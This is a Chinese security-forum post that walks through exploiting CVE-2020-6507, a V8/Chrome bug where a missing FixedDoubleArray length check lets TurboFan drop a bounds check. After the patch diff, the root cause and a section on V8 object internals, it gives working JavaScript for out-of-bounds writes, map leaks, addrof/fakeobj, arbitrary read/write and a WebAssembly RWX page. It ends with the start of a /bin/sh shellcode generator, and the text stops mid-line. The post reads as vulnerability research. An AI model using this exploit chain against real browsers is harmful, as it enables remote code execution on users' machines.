首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
0
0
[原创]CVE-2020-6507利用链
发表于: 1天前
402
[原创]CVE-2020-6507利用链
shark_pro
2
1天前
402
本文首发于我的个人博客 <<mark class="encrypted">737K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9r3!0K6N6s2y4Z5j5i4u0C8i4K6u0V1M7s2u0G2i4K6u0W2k6$3W2@1K9s2g2T1i4K6u0W2K9h3!0Q4x3V1j5J5x3o6t1$3i4K6u0r3x3e0m8Q4x3V1j5H3y4W2)9J5c8V1y4h3c8g2)9J5k6o6t1H3x3U0m8Q4x3X3b7$3y4e0l9%4i4K6u0r3</mark>> CVE启动 某个版本Chrome的漏洞可以在谷歌的更新公告(<<mark class="encrypted">248K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0K9s2u0G2L8h3g2J5k6h3I4W2j5i4y4W2M7#2)9J5k6h3N6G2L8$3N6D9k6h3u0D9L8$3N6Q4x3X3g2U0L8$3#2Q4x3V1j5`.</mark>>)上查看 更新公告上可以找到bug的漏洞编号,issue(<<mark class="encrypted">f91K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1N6h3N6K6i4K6u0W2j5$3S2J5L8$3#2A6N6h3#2Q4x3X3g2G2M7X3N6Q4x3V1k6H3i4K6u0r3j5$3S2J5L8$3#2A6N6h3#2Q4x3V1k6A6M7%4y4#2k6i4y4Q4x3V1k6D9K9i4y4@1</mark>>)上可以找到相关信息 # 成因分析  bug编号1086890,然后到issues找   commit怎么藏评论区里 找一下它的父提交(<<mark class="encrypted">47fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0K9s2u0G2L8h3W2#2L8g2)9J5k6h3N6G2L8$3N6D9k6i4y4G2N6i4u0U0k6g2)9J5k6h3y4G2L8g2)9J5c8Y4j5^5i4K6u0r3N6U0S2Q4x3X3g2Y4K9i4c8Q4x3V1k6Q4x3V1u0Q4x3V1j5^5y4h3u0U0x3h3t1H3j5$3q4T1x3K6q4U0j5K6l9$3y4r3g2X3j5K6j5#2k6e0l9#2j5h3c8T1z5o6q4X3k6h3f1^5x3e0b7J5y4U0q4T1</mark>>)  ## diff ```diff diff --git a/src/builtins/base.tq b/src/builtins/base.tq index ec10601..4db796d 100644 --- a/src/builtins/base.tq +++ b/src/builtins/base.tq @@ -354,6 +354,8 @@ constexpr uintptr generates 'String::kMaxLength'; const kFixedArrayMaxLength: constexpr int31 generates 'FixedArray::kMaxLength'; +const kFixedDoubleArrayMaxLength: + constexpr int31 generates 'FixedDoubleArray::kMaxLength'; const kObjectAlignmentMask: constexpr intptr generates 'kObjectAlignmentMask'; const kMinAddedElementsCapacity: diff --git a/src/codegen/code-stub-assembler.cc b/src/codegen/code-stub-assembler.cc index 369a187..eb5fa76 100644 --- a/src/codegen/code-stub-assembler.cc +++ b/src/codegen/code-stub-assembler.cc @@ -205,7 +205,7 @@ SmiConstant(false_value)); } -TNode<Object> CodeStubAssembler::NoContextConstant() { +TNode<Smi> CodeStubAssembler::NoContextConstant() { return SmiConstant(Context::kNoContext); } diff --git a/src/codegen/code-stub-assembler.h b/src/codegen/code-stub-assembler.h index 4f4c1d4..592af14 100644 --- a/src/codegen/code-stub-assembler.h +++ b/src/codegen/code-stub-assembler.h @@ -616,7 +616,7 @@ return Word32BinaryNot(TaggedEqual(a, b)); } - TNode<Object> NoContextConstant(); + TNode<Smi> NoContextConstant(); #define HEAP_CONSTANT_ACCESSOR(rootIndexName, rootAccessorName, name) \ TNode<std::remove_pointer<std::remove_reference<decltype( \ diff --git a/src/objects/contexts.tq b/src/objects/contexts.tq index ab0677a..1b0ae08 100644 --- a/src/objects/contexts.tq +++ b/src/objects/contexts.tq @@ -74,3 +74,9 @@ extern operator '[]' macro LoadContextElement(Context, intptr): Object; extern operator '[]' macro LoadContextElement(Context, Smi): Object; + +// A dummy used instead of a context constant for runtime calls that don't need +// a context. +type NoContext extends Smi; +extern macro NoContextConstant(): NoContext; +const kNoContext: NoContext = NoContextConstant(); diff --git a/src/objects/fixed-array.tq b/src/objects/fixed-array.tq index 519a5f8d..b15f9c5 100644 --- a/src/objects/fixed-array.tq +++ b/src/objects/fixed-array.tq @@ -141,8 +141,15 @@ ConstantIterator(kDoubleHole))); } +namespace runtime { +extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never; +} + macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray { if (length == 0) return kEmptyFixedArray; + if (length > kFixedArrayMaxLength) deferred { + runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext); + } return new FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it}; } @@ -150,6 +157,9 @@ macro NewFixedDoubleArray<Iterator: type>( length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray { if (length == 0) return kEmptyFixedArray; + if (length > kFixedDoubleArrayMaxLength) deferred { + runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext); + } return new FixedDoubleArray{ map: kFixedDoubleArrayMap, length: Convert<Smi>(length), diff --git a/src/torque/constants.h b/src/torque/constants.h index b3a452b..616e7a2 100644 --- a/src/torque/constants.h +++ b/src/torque/constants.h @@ -24,6 +24,7 @@ static const char* const VOID_TYPE_STRING = "void"; static const char* const ARGUMENTS_TYPE_STRING = "Arguments"; static const char* const CONTEXT_TYPE_STRING = "Context"; +static const char* const NO_CONTEXT_TYPE_STRING = "NoContext"; static const char* const NATIVE_CONTEXT_TYPE_STRING = "NativeContext"; static const char* const JS_FUNCTION_TYPE_STRING = "JSFunction"; static const char* const MAP_TYPE_STRING = "Map"; diff --git a/src/torque/declaration-visitor.cc b/src/torque/declaration-visitor.cc index 6ec1b74..99b7bdd 100644 --- a/src/torque/declaration-visitor.cc +++ b/src/torque/declaration-visitor.cc @@ -126,11 +126,12 @@ "Missing parameters for runtime function, at least the context " "parameter is required."); } - if (!(signature.parameter_types.types[0] == TypeOracle::GetContextType())) { + if (!(signature.parameter_types.types[0] == TypeOracle::GetContextType() || + signature.parameter_types.types[0] == TypeOracle::GetNoContextType())) { ReportError( "first parameter to runtime functions has to be the context and have " - "type Context, but found type ", - signature.parameter_types.types[0]); + "type Context or NoContext, but found type ", + *signature.parameter_types.types[0]); } if (!(signature.return_type->IsSubtypeOf(TypeOracle::GetObjectType()) || signature.return_type == TypeOracle::GetVoidType() || diff --git a/src/torque/type-oracle.h b/src/torque/type-oracle.h index c47d467c6..c6939ef 100644 --- a/src/torque/type-oracle.h +++ b/src/torque/type-oracle.h @@ -304,6 +304,10 @@ return Get().GetBuiltinType(CONTEXT_TYPE_STRING); } + static const Type* GetNoContextType() { + return Get().GetBuiltinType(NO_CONTEXT_TYPE_STRING); + } + static const Type* GetNativeContextType() { return Get().GetBuiltinType(NATIVE_CONTEXT_TYPE_STRING); } ```  CVE-2020-6507成因之一就是NewFixedDoubleArray这个macro未对DoubleArray的Length上限进行检查(属于是把c++更换成Torque后漏了一步检查,不排除有内鬼的可能性),源码里搜一下可以发现kFixedDoubleArrayMaxLength的值为67108862,可见V8中浮点数数组的length上限应该在67108862 vi src/objects/fixed-array.h    在开了Pointer Compression后kTaggedSize = 4、kHeaderSize = 2*kTaggedSize = 8、kDoubleSize = 8 MB = 2²⁰ = 1048576 kMaxSize = 128 * kTaggedSize * MB - kTaggedSize = 536870908 FixedDoubleArray: (536870908 − 8) / 8 = 536870900 / 8 = 67108862.5 → 67108862 然后看看poc是怎么个利用法 ## poc ```javascript <script> array = Array(0x40000).fill(1.1); args = Array(0x100 - 1).fill(array); args.push(Array(0x40000 - 4).fill(2.2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3); length_as_double = new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0]; function trigger(array) { var x = array.length; x -= 67108861; x = Math.max(x, 0); x *= 6; //原文是x \*= 6; x -= 5; x = Math.max(x, 0); let corrupting_array = [0.1, 0.1]; let corrupted_array = [0.1]; corrupting_array[x] = length_as_double; return [corrupting_array, corrupted_array]; } for (let i = 0; i < 30000; ++i) { trigger(giant_array); } corrupted_array = trigger(giant_array)[1]; alert('corrupted array length: ' + corrupted_array.length.toString(16)); corrupted_array[0x123456]; </script> ``` 目的是改array的length issues上的poc应该是在第15行多打了个\ d8里没有alert(),把第31行改成print或者console.log都行 开头先是创了个giant_array->DoubleArray,array在0x40000(262144)里填满1.1,args 中有 255 个元素,每个都指向同一个 array。然后创建一个长度为 262140、元素全是 2.2 的数组,把它push到args的末尾 ```javascript giant_array = Array.prototype.concat.apply([], args); ``` 相当于把args的元素依次复制进giant_array 这时giant_array的长度为255 * 0x40000 + (0x40000 - 4) = 67108860 最后用splice在giant_array后面加上3个3.3,此时giant_array的长度为67108863 由于创建giant_array调用的是NewFixedDoubleArray() 方法,并没有对giant_array的长度做限制,显然giant_array超出了DoubleArray的67108862上限 ```javascript length_as_double = new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0]; ``` 把同一段 8 字节内存,先按BigUint64Array写入一个 64 位无符号整数,再按Float64Array当成Double读出来 ```javascript function trigger(array) { var x = array.length; x -= 67108861; x = Math.max(x, 0); x *= 6; //原文是x \*= 6; x -= 5; x = Math.max(x, 0); let corrupting_array = [0.1, 0.1]; let corrupted_array = [0.1]; corrupting_array[x] = length_as_double; return [corrupting_array, corrupted_array]; } for (let i = 0; i < 30000; ++i) { trigger(giant_array); } ``` Turbofan在进行编译优化时会考虑到每种数据类型的长度限制,V8是定义了kFixedDoubleArrayMaxLength的值为67108862,但先前创建的giant_array缺失了长度上限限制,达到了67108863。 在trigger函数中,对于常规的浮点数数组x的取值只能是0或1,后续的30000次调用成功触发Turbofan优化,Turbofan判断对于“corrupting_array[x] = length_as_double; ”x的取值不会越界赋值,于是移去了边界检测(简单计算一下发现x的取值实际上为7,如果有边界检测的话就会令corrupting_array扩容,检测移去后length_as_double成功覆盖corrupted_array的legth段) corrupted_array[0x123456];触发越界访问,这段addr没有映射导致**SIGSEGV**   能映射到的addr就没问题了 ### gdb启动   这里有个细节,注意到在开启了Pointer Compression后JS对象的指针被压缩到4字节,以小端序存储的length_as_double覆盖corrupted_array的length字段的同时也破坏了elements,后续的利用会对这部分进行处理 # 环境构造 ```javascript git reset --hard 85bc1b0cab31cc064efc65e05adb81fee814261b^ //加^可以reset到它的父提交 gclient sync -D gn gen out/release --args=' is_debug = false target_cpu = "x64" is_component_build = false v8_monolithic = true v8_use_external_startup_data = false use_goma = false goma_dir = "None" v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true' autoninja -C out/release d8 ```  这种环境问题就得开个docker了 麻烦的是还得回滚一下clang ```javascript docker run -it --name v8-83 \ -v ~/v8:/root/v8 \ ubuntu:20.04 bash apt update apt install -y python3 python3-pip git curl ninja-build build-essential apt install -y python-is-python3 apt-get install -y pkg-config apt-utils cd /root/v8/v8 ./buildtools/linux64/gn gen out/release --args=' is_debug = false target_cpu = "x64" is_component_build = false v8_monolithic = true v8_use_external_startup_data = false use_goma = false goma_dir = "None" v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true' rm -rf third_party/llvm-build python tools/clang/scripts/update.py ninja -C out/release d8 ```  ```javascript exit docker system df docker system prune -a sudo chown -R shark:shark ~/v8/v8/out/release ``` 这里记得sudo chown -R改一下out/release权限 # 漏洞分析 ## V8基础补充 ### Fast-properties-in-V8 v8.dev太权威了你知道吗 #### Named-properties-vs-elements 我们看看命名属性跟数组下标属性(元素)有什么不同 注意到object {a: "foo",b: "bar"}有两个属性,a和b object {a: "foo",b: "bar"}这种命名属性没有0,1,2这样的整数索引 ["foo", "bar"]这种就是分配的整数索引  出于性能考虑,V8将properties跟elements针对不同的使用模式分开储存 elements主要用于各种Array.prototype 的方法(pop,slice),这些方法访问的是连续区间的属性,大部分情况下以简单数组的形式存储(稀疏字典) named properties以一种类似的形式存储在一个独立数组中,V8中的设计是将每一个JSobj都关联一个HiddenClass来推出一个命名在该属性数组的位置,HiddenClass存储的是JSobj的shape,包括从属性名到属性数组下标的映射表,一些更复杂的情况是用字典来存储属性 #### HiddenClasses and DescriptorArrays 接下来看看HiddenClasses的工作原理 HiddenClasses存储了obj上属性的数量和obj原型的引用等元数据 HiddenClasses类似面向对象编程中的class 像JS这样基于原型的语言是没办法在程序运行前就确定对象的结构,V8中的HiddenClass是动态创建并随对象动态更新的 HiddenClass充当对象shape的标识符,V8只需要判断两个类的HiddenClass指针相不相同就能判断它们是不是同一个形状 假设 const obj1 = {x: 1, y: 2};的shape为A,const obj2 = {x: 5, y: 6};时V8会发现它们的shape一样,于是让obj2的HiddenClass也指向shapeA。编译优化跟内联缓存也会用到HiddenClass  这里的bit field是把一堆小整数和布尔标志位打包进比特位——实例类型、实例大小、是否可调用、元素种类等,不值得各占一个字段 HiddenClass class这个字段表明HiddenClass也是堆对象,也有一个指向它的类的指针,在V8堆上任何由GC管理的对象第一个字段都指向HiddenClass 属性中最重要的信息存储在bit field 3,包括属性数量跟一个指向Descriptor Array的指针,Descriptor Array中包括描述符数组,length是数组容量,EnumCaches是枚举缓存,key1是属性名查找 obj.x 时就是拿 "x" 来比对,details是属性的特性 具有相同结构的对象共享一个HiddenClass,当向对象添加一个属性时,我们会使用一个不同的 HiddenClass  每添加一个新属性,obj的HiddenClass都会被更换 V8会在后台创建一个转化树把HiddenClass连一块  当创建新对象并添加了不同的属性时,V8会为这些新的HiddenClass创建一条单独的分支  #### The three different kinds of named properties 我们再深入了解一下这些属性是如何存储的,前面提到属性有两种类型,named、indexed,接下来先看看命名属性 像{a: 1, b: 2}这样简单的对象在V8里可以有多种不同的表示,不过出于优化考虑(inline caches)很少会用字典形式 ##### In-object vs. normal properties V8支持对象内属性,它们直接存储在对象自身上,因为访问不需要二次解引用所以速度很快  对象内属性数量由对象初始大小决定,如果超过了对象内的空间就会被存储到属性存储区 ##### Fast vs. slow properties 我们通常把存储在线性属性存储区的属性定义为快速属性,快速属性通过存储区的index访问 从属性名找到在属性存储区的addr必须查询HiddenClass上的描述符数组  当一个对象频繁add、delete大量属性时,维护HiddenClass和描述符数组会产生大量开销,V8支持slow properties,慢属性的对象用一个自包含的属性字典存储属性,元信息直接存储在属性字典里 这种设计让inline caches无效,因此速度上会慢一些 #### Elements or array-indexed properties 接下来是整数索引属性,其所有索引属性单独存储在元素存储区 V8对元素做出的第一个区分就是在后备存储中元素是紧密还是空洞(packed or holey) 当删除一个元素或根本没定义时就会出现holes,比如[1,,3] 这里有个好玩的 ```javascript const o = ['a', 'b', 'c']; console.log(o[1]); // Prints 'b'. delete o[1]; // Introduces a hole in the elements store. console.log(o[1]); // Prints 'undefined'; property 1 does not exist. o.__proto__ = {1: 'B'}; // Define property 1 on the prototype. console.log(o[0]); // Prints 'a'. console.log(o[1]); // Prints 'B'. console.log(o[2]); // Prints 'c'. console.log(o[3]); // Prints undefined ```   这里的o.__proto__是o的原型 o[1] 因为在 o 自身是 hole(不存在),穿透到原型上找到了 'B' 可见属性上找不到就会沿着原型链向上查找,如果我们有一个the_hole值来标记hole就能提高array的效率,当我们知道array是packed or holey时就能避免开销巨大的原型链查找 ##### Fast or Dictionary Elements 接下来是elements的第二层分类 快速模式 or 字典模式 fast elements就是VM的内部数组,index直接映射 对于那些有大量空洞的数组我们采用字典来节省内存 for example ```javascript const sparseArray = []; sparseArray[9999] = 'foo'; // Creates an array with dictionary elements. ``` 10000个backing store有9999个hole,为了节省内存改用字典 V8会创建一个“键-值-描述符”的三元组,这里的键是“9999”,值是“foo”,用默认描述符 ```javascript const array = []; Object.defineProperty(array, 0, {value: 'fixed' ,configurable: false}); console.log(array[0]); // Prints 'fixed'. array[0] = 'other value'; // Cannot override index 0. console.log(array[0]); // Still prints 'fixed'. ``` 这里用 Object.defineProperty 定义了一个“只读、不可配置”的数组索引属性,configurable: false表示不可配置  描述符细节无法存储在HiddenClass上,shape不记存在性,因此在自定义一个索引属性时V8会使用slow elements 只要用非默认描述符定义索引属性,V8 就被迫退到 slow elements ##### Smi and Double Elements 这里是V8对fast elements的两种区分 Smi = small integer,小整数 在一个array中只存储整数时,V8会直接把值编码在指针里 V8 利用最低位来区分 Smi 和堆对象: + 最低位 = 1 → 这是一个 Smi,整数值就编码在这个字里 + 最低位 = 0 → 这是一个堆对象指针,需要解引用 double占用多个字节,通常表示为完整对象,在纯double array的特殊情况下V8会直接存储double的值 ##### Special Elements V8内部一共定义了20种元素种类,这里不做额外解释 ##### The ElementsAccessor 为了避免给20种元素种类都实现一遍Array函数 ElementsAccessor 借助 CRTP(奇异递归模板模式)为每个 Array 函数生成特化版本  跟SGI STL挺像啊 ### Elements kinds in V8 这部分就简要说一下 JS运行时V8会跟踪每个数组用的是哪种类型的元素,以此来针对性优化 JS并不区分整数、浮点数和双精度数,都将其视为number,但在V8优化时会细分 #### The elements kind lattice V8 把 elements kind 组织成一个格(lattice),转换只能从具体走向泛化,不能回退  各种数组元素种类按照“具体 → 通用”的关系,组成一个偏序层次结构,转换只能沿着这个结构向下走,即从更具体的种类变成更通用的种类 #### packed vs holey packed和holey的主要区别就是元素存不存在,对于holey会有hole check,prototype chain lookup等额外开销 ### Inline Caches 先看看inline caches到底在cache什么 IC实际上是记住 Shape 和 property offset,它缓存的是查找结果 后续遇到相同 Shape,可以直接从已经缓存的 offset 加载值,而无需重新查询属性信息 我们来看看查找的过程 ```javascript function getX(o) { return o.x; } ``` ```javascript getX({ x: 123, y: 456 }); ``` 第一次查找时得正常查找一次 o ->Map ->找到 x ->发现 x 在 offset N 这时候得到 Map = 0x123456 x offset = 0x18 IC记住如果以后o.map == 0x123456,那么x 就在 offset 0x18 ```javascript let a = {x: 1, y: 2}; let b = {x: 3, y: 4}; getX(a); getX(b); ``` 我们发现a.map == b.map getX(a)时 Map lookup ->property lookup ->找到 x offset ->更新 IC getX(b)时发现b.map == a.map,直接Load [object + offset] ## 利用思路 先回忆一下低版本V8利用链思路,参考starctf 2019 oob starctf oob先是给了一个能读写map的利用原语 首先构造froi()跟itof()函数转化在JS里的数据表示 用它对obj array和double array进行类型混淆后进而构造addrof/fakeobj ```javascript var obj = {"A": 1}; var obj_arr = [obj]; var float_arr = [1.1,1.2,1.3,1.4]; var obj_arr_map = obj_arr.oob(); var float_arr_map = float_arr.oob(); function addrof(in_obj){ obj_arr[0] = in_obj; obj_arr.oob(float_arr_map); let addr = obj_arr[0]; obj_arr.oob(obj_arr_map); return ftoi(addr); } function fakeobj(addr){ float_arr[0] = itof(addr); float_arr.oob(obj_arr_map); let fake = float_arr[0]; float_arr.oob(float_arr_map); return fake; } ``` addrof()把obj数组的map改成浮点数的map,fakeobj()相反 ```javascript var arb_rw_arr = [float_arr_map,1.2,1.3,1.4]; //这里的float_arr_map是double值 function arb_read(addr){ if (addr%2n == 0) addr += 1n; let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); return ftoi(fake[0]); } function initial_arb_write(addr,val){ let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); fake[0] = itof(BigInt(val)); } ``` 然后伪造一个 JSArray,然后不断修改这个假数组的 elements 指针,让 fake[0] 实际去读/写任意地址(那里没有指针压缩,这里开了指针压缩得调整一下,几个偏移也有版本差异) 最后用wasm塞个函数、申请一个rwx页,把shellcode copy进去,调用main()执行 饿啊 然后我们来看看%DebugPrint(corrupted_array);时的小问题   高 4 字节 0x24242424 → 被当成 Smi → length = 0x24242424 >> 1 = 0x12121212 低 4 字节 0x00000000 → elements = 压缩后的偏移 0,也就是 elements = cage_base + 0(空指针) elements 字段本质上就是 JS 对象用来存放“索引属性”的 backing store(后备存储)指针,解引用成cage_base+0 现在的问题是这里有个坏掉的elements,我们回顾一下trigger函数看看有没有什么篡改map的方法 ```javascript length_as_double = new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0]; function trigger(array) { var x = array.length; x -= 67108861; x = Math.max(x, 0); x *= 6; //原文是x \*= 6; x -= 5; x = Math.max(x, 0); let corrupting_array = [0.1, 0.1]; let corrupted_array = [0.1]; corrupting_array[x] = length_as_double; return [corrupting_array, corrupted_array]; } ``` 取超上限的double_array的length,进行TurboFan欺诈运算后定义了两个array,corrupting_array跟corrupted_array,x的实际值是7(JS对象在指针压缩下有16个字节,double_array的数据正常存储在该对象前面,corrupting_array占8*2+16=4*8,加上3*8正好到corrupted_array的elements、length字段) corrupting_array[x] = length_as_double;这一步将8个字节覆写到corrupted_array的length跟elements段   我们创一个double_array然后%DebugPrint一看可以发现elements存储的数据位于JS对象前面 那么elements这边的cage_base + 0指针便可稍加利用来定位obj_array、double_array的map ### 不彻底优化poc #### elements替换 我们这里在开头var一个double_array,如果这个double_array的elements低32位不变就可以把corrupted_array的elements替换成它的 ```javascript ❯ cat poc.js var double_array = [1.1]; var obj = {"a" : 1}; var obj_array = [obj]; var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer); function ftoi(f) { f64[0] = f; return bigUint64[0]; } function itof(i) { bigUint64[0] = i; return f64[0]; } array = Array(0x40000).fill(1.1); args = Array(0x100 - 1).fill(array); args.push(Array(0x40000 - 4).fill(2.2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3); length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0]; function trigger(array) { var x = array.length; x -= 67108861; x = Math.max(x, 0); x *= 6; x -= 5; x = Math.max(x, 0); let corrupting_array = [0.1, 0.1]; let corrupted_array = [0.1]; corrupting_array[x] = length_as_double; return [corrupting_array, corrupted_array]; } for (let i = 0; i < 30000; ++i) { trigger(giant_array); } /* corrupted_array = trigger(giant_array)[1]; print('corrupted array length: ' + corrupted_array.length.toString(16)); */ corrupted_array = trigger(giant_array)[1]; %DebugPrint(double_array); var ac = corrupted_array[0]; console.log("coruppted_array[0]:" + ftoi(ac).toString(16)); %SystemBreak(); ```  有意思的是这里测下来只要poc.js有一点改动这里的elements段低32位就会改变,甚至我改了一下BigUint64Array([0x2424242400000001n]的低32位也会影响到  可以把exp.js写好最后再动它 #### 比较意外的扫描 找blog看到了y4y师傅的这个方法,大致上是对Hcamael师傅提出的扫map这一想法的衍生 通过实测可以发现在一台固定的物理机或虚拟机中开头创的double_array它的map跟properties的低32位是固定值(因为我这里的map值跟他们不一样,可见硬编码的还是个环境变量,神奇的是properties的低32位都是0x080406e9) 那么就可以通过扫内存的方式把map扫出来然后动态拿到elements指针(elements的length够大,而且%DP出有一个大致区间) 主体: ```javascript function parseMap(obj_idx, map_offset){ var metadata = []; for (var i = -1; i < 2; i++){ // 读目标对象前后 3 个槽 p1 = ftoi(c[obj_idx+i]) & 0xffffffffn; // 低半字 p2 = ftoi(c[obj_idx+i]) >> 32n; // 高半字 metadata.push(p1); metadata.push(p2); } var map_idx = metadata.indexOf(BigInt(map_offset)); // 以 map 值为锚点对齐 return metadata.slice(map_idx, map_idx + 4); // map, props, elements, length } var fake_mp = itof((BigInt(double_prop_addr) << 32n) + BigInt(double_map_addr)) var fake_array = [fake_mp, 1.1, 2.2]; var fake_array_addr = addrOf(fake_array) & 0xffffffffn; var fake_array_index = Number((addrOf(fake_array) - 1n) / 8n); var fake_array_metadata = parseMap(fake_array_index, double_map_addr); var fake_array_elem = fake_array_metadata[2]; // 从内存里读出 elements 字段 var fake_obj = fakeObj(fake_array_elem + 8n - 1n); ``` 这两个方法的硬编码值换个环境大概率会失效 ### poc分析优化 我们来对trigger函数做点改动 ```javascript length_as_double = new Floaat64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0]; function trigger(array,oob) { var x = array.length; x -= 67108861; //实际值为2,TurboFan视角下可能值为0、1 x = Math.max(x, 0); x *= 10; //20 x -= 9; //11 x = Math.max(x, 0); oob[x] = length_as _double; } //对象布局 function setup(){ vul = [1.1,1.1]; pad = [vul]; double_array = [1.1]; obj = {"a":1.1}; obj_array = [obj]; } ``` 我们看看setup()长什么样     offset = 11,fake length的低32位正好覆盖到double_array的length  double_array_map跟obj_array_map ```javascript ❯ cat poc.js var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer); function hex(v) { return v.toString(16); } function ftoi(f) { f64[0] = f; return bigUint64[0]; } function itof(i) { bigUint64[0] = i; return f64[0]; } array = Array(0x40000).fill(1.1); args = Array(0x100 - 1).fill(array); args.push(Array(0x40000 - 4).fill(2.2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3); length_as_double = new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0]; function trigger(array, oob) { var x = array.length; x -= 67108861; // 1 2 x *= 10; // 10 20 x -= 9; // 1 11 x= Math.max(x,0); oob[x] = length_as_double; // fake length } function setup(){ vul = [1.1,1.1]; pad = [vul]; double_array = [1.1]; obj = {"a":1.1}; obj_array = [obj]; } for (let i = 0; i < 30000; ++i) { setup(); trigger(giant_array, vul); } %DebugPrint(double_array); %DebugPrint(obj_array); //%SystemBreak(); var array_map = double_array[1]; var obj_map = double_array[8]; console.log("[*] array_map = 0x" + hex(ftoi(array_map))); console.log("[*] obj_map = 0x" + hex(ftoi(obj_map))); %SystemBreak(); ```   成功leak  覆盖了obj = {"a":1.1};的map,不过不影响 这里有个神奇的地方   我多读了一块地方就去优化了,怎么还有点不稳定 ```javascript 41 function TurboFan(){ 42 for (let i = 0; i < 30000; ++i) { 43 setup(); 44 trigger(giant_array, vul); 45 } 46 } 47 TurboFan(); ```  但是把整个欺诈过程塞一个函数里调用又成功了,看来是TurboFan的奇妙设计 感觉还是这个利用方向比较有实用价值 ## 利用链构造 ### ftoi()/itof() ```javascript var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer); function hex(v) { return v.toString(16); } function ftoi(f) { f64[0] = f; return bigUint64[0]; } function itof(i) { bigUint64[0] = i; return f64[0]; } ``` 这不比之前手动拼好用 ### addrof()/fakeobj() ```javascript array = Array(0x40000).fill(1.1); args = Array(0x100 - 1).fill(array); args.push(Array(0x40000 - 4).fill(2.2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3); length_as_double = new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0]; function trigger(array, oob) { var x = array.length; x -= 67108861; // 1 2 x *= 10; // 10 20 x -= 9; // 1 11 x= Math.max(x,0); oob[x] = length_as_double; // fake length } function setup(){ vul = [1.1,1.1]; pad = [vul]; double_array = [1.1]; obj = {"a":1.1}; obj_array = [obj]; fake = [1.1]; //载一下fakeobj } function TurboFan(){ for (let i = 0; i < 30000; ++i) { setup(); trigger(giant_array, vul); } } TurboFan(); obj_array[0] = giant_array; // 为了防止GC扫到爆炸,把坏掉的obj清了 obj = null; var array_map = double_array[1]; var obj_map = double_array[8]; console.log("[*] array_map = 0x" + hex(ftoi(array_map))); console.log("[*] obj_map = 0x" + hex(ftoi(obj_map))); var fakemap = 12; function addrof(obj) { obj_array[0] = obj; double_array[8] = array_map; var addr = (ftoi(obj_array[0]) & 0xffffffffn) - 1n;//低32位压缩指针,tag-1 double_array[8] = obj_map; return addr; } function fakeobj(addr) { fake[0] = itof(addr + 1n); double_array[fakemap] = obj_map; var obj = fake[0]; double_array[fakemap] = array_map; return obj; } ``` ### arb_read()/arb_write() ```javascript var rw_arr = [array_map,1.1,1.2,1.3]; function fake_elements(addr){ let elements = ((addr - 8n + 1n) & 0xffffffffn) | 0x3ff19999n << 32n; rw_arr[1] = itof(elements); } function arb_read(addr){ let fake_rw = fakeobj(addrof(rw_arr) - 0x20n); fake_elements(addr) return ftoi(fake_rw[0]); } function arb_write(addr,val){ let fake_rw = fakeobj(addrof(rw_arr) - 0x20n); fake_elements(addr) fake_rw[0] = itof(val); } ``` array_map的低32位是double_map,高32位是properties(这里不影响) rw_arr[1]正好是fake_rw的elements、length段 fake_rw[0]读的地址是 elements(去tag) + 8 (tag+1) (addr - 8n +1n) & 0xffffffffn取低32位(elements段),| 0x3ff19999n << 32n拼接上高32位(length段) ### wasm 复用一下之前写starctf的 ```javascript var wasm_code = new Uint8Array([ 0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11 ]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var pwn = wasm_instance.exports.main; var rwx_page_addr = arb_read(addrof(wasm_instance)+0x68n); ``` 依旧main()函数return 42,编译mod,实例化,导出main函数,read rwx_page_addr    offset = 0x68 #### shellcode and copy ```javascript from pwn import * context.clear(arch='amd64') context.log_level = 'error' sc = asm(""" lea rdi, [rip + sh] xor esi, esi xor edx, edx mov eax, 59 syscall sh: .asciz "/bin/sh" """) sc = sc.ljust((len(sc) + 3) // 4 * 4, b'\x90') print("// %d bytes" % len(sc)) print("var 